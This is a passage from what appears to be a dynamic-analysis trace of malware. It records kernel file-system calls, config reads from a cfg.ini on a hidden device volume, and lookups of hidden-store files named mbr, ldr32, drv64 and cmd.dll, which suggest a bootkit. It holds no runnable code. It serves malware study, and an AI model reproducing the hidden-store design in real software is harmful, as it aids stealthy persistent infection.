_Dest="cfg.ini") returned="cfg.ini" [0126.028] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.028] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7530 [0126.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.028] KeLeaveCriticalRegion () [0126.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.028] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.028] KeEnterCriticalRegion () [0126.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.028] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.028] KeLeaveCriticalRegion () [0126.028] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.028] KeEnterCriticalRegion () [0126.028] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.028] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.028] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.028] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.028] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.028] IdePortDispatch () returned 0x103 [0126.028] KeWaitForMutexObject () returned 0x0 [0126.028] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.028] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.028] KeLeaveCriticalRegion () [0126.028] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.029] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.029] KeEnterCriticalRegion () [0126.029] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.029] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbd000 [0126.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.029] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.029] IdePortDispatch () returned 0x103 [0126.029] KeWaitForMutexObject () returned 0x0 [0126.029] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.029] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.029] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.029] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.029] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.029] IdePortDispatch () returned 0x103 [0126.029] KeWaitForMutexObject () returned 0x0 [0126.029] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.029] KeLeaveCriticalRegion () [0126.029] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.030] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.030] KeEnterCriticalRegion () [0126.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.030] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.030] KeLeaveCriticalRegion () [0126.030] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.030] KeEnterCriticalRegion () [0126.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.030] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.030] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003ac7240, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.030] KeLeaveCriticalRegion () [0126.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.030] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.030] KeEnterCriticalRegion () [0126.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.030] ExFreePoolWithTag (P=0xfffffa800c4f7530, Tag=0x0) [0126.030] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.030] KeLeaveCriticalRegion () [0126.030] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.030] ReleaseMutex (hMutex=0xf0) returned 1 [0126.030] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.030] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0126.030] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.030] KeEnterCriticalRegion () [0126.030] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.030] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.030] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.030] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.030] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.030] IdePortDispatch () returned 0x103 [0126.030] KeWaitForMutexObject () returned 0x0 [0126.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.031] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.031] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.031] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.031] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.031] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b79140 [0126.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.031] KeLeaveCriticalRegion () [0126.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.031] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.031] KeEnterCriticalRegion () [0126.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.031] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.031] KeLeaveCriticalRegion () [0126.031] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.031] KeEnterCriticalRegion () [0126.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.031] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.031] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.031] IdePortDispatch () returned 0x103 [0126.031] KeWaitForMutexObject () returned 0x0 [0126.031] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.031] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.031] KeLeaveCriticalRegion () [0126.031] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.031] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.031] KeEnterCriticalRegion () [0126.031] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.031] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002dbe000 [0126.031] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.031] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.032] IdePortDispatch () returned 0x103 [0126.032] KeWaitForMutexObject () returned 0x0 [0126.032] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.032] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.032] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.032] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.032] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.032] IdePortDispatch () returned 0x103 [0126.032] KeWaitForMutexObject () returned 0x0 [0126.032] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.032] KeLeaveCriticalRegion () [0126.032] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.032] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.033] KeEnterCriticalRegion () [0126.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.033] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.033] KeLeaveCriticalRegion () [0126.033] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.033] KeEnterCriticalRegion () [0126.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.033] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.033] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa610, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.033] KeLeaveCriticalRegion () [0126.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.033] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.033] KeEnterCriticalRegion () [0126.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.033] ExFreePoolWithTag (P=0xfffffa8003b79140, Tag=0x0) [0126.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.033] KeLeaveCriticalRegion () [0126.033] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.033] ReleaseMutex (hMutex=0xf0) returned 1 [0126.033] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0126.033] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0126.033] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.033] KeEnterCriticalRegion () [0126.033] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.033] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.033] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.033] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.033] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.033] IdePortDispatch () returned 0x103 [0126.033] KeWaitForMutexObject () returned 0x0 [0126.033] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.033] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.033] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0126.033] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0126.033] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0126.033] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037deee0 [0126.033] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.034] KeLeaveCriticalRegion () [0126.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.034] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.034] KeEnterCriticalRegion () [0126.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.034] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.034] KeLeaveCriticalRegion () [0126.034] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.034] KeEnterCriticalRegion () [0126.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.034] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0126.034] IdePortDispatch () returned 0x103 [0126.034] KeWaitForMutexObject () returned 0x0 [0126.034] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.034] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.034] KeLeaveCriticalRegion () [0126.034] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.034] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.034] KeEnterCriticalRegion () [0126.034] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.034] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002de1000 [0126.034] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.034] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.034] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.034] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.034] IdePortDispatch () returned 0x103 [0126.034] KeWaitForMutexObject () returned 0x0 [0126.035] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0126.035] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.035] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0126.035] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0126.035] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0126.035] IdePortDispatch () returned 0x103 [0126.035] KeWaitForMutexObject () returned 0x0 [0126.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.035] KeLeaveCriticalRegion () [0126.035] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.035] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.035] KeEnterCriticalRegion () [0126.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.035] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0126.035] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.035] KeLeaveCriticalRegion () [0126.035] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.035] KeEnterCriticalRegion () [0126.035] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.035] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0126.036] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfa470, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0126.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.036] KeLeaveCriticalRegion () [0126.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.036] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0126.036] KeEnterCriticalRegion () [0126.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.036] ExFreePoolWithTag (P=0xfffffa80037deee0, Tag=0x0) [0126.036] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.036] KeLeaveCriticalRegion () [0126.036] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.036] ReleaseMutex (hMutex=0xf0) returned 1 [0126.036] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0126.036] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0126.036] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0126.036] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.036] KeEnterCriticalRegion () [0126.036] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.036] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.036] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.036] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.036] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.036] IdePortDispatch () returned 0x103 [0126.036] KeWaitForMutexObject () returned 0x0 [0126.036] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.036] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.036] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.036] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.036] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.036] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.036] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0126.036] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.036] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.036] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0126.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.036] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0126.037] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.037] KeLeaveCriticalRegion () [0126.037] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0126.037] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0126.037] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0126.037] KeEnterCriticalRegion () [0126.037] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0126.037] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0126.037] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0126.037] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0126.037] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0126.037] IdePortDispatch () returned 0x103 [0126.037] KeWaitForMutexObject () returned 0x0 [0126.037] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0126.037] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0126.037] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.037] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0126.037] _strnicmp (_Str1="ldr64", 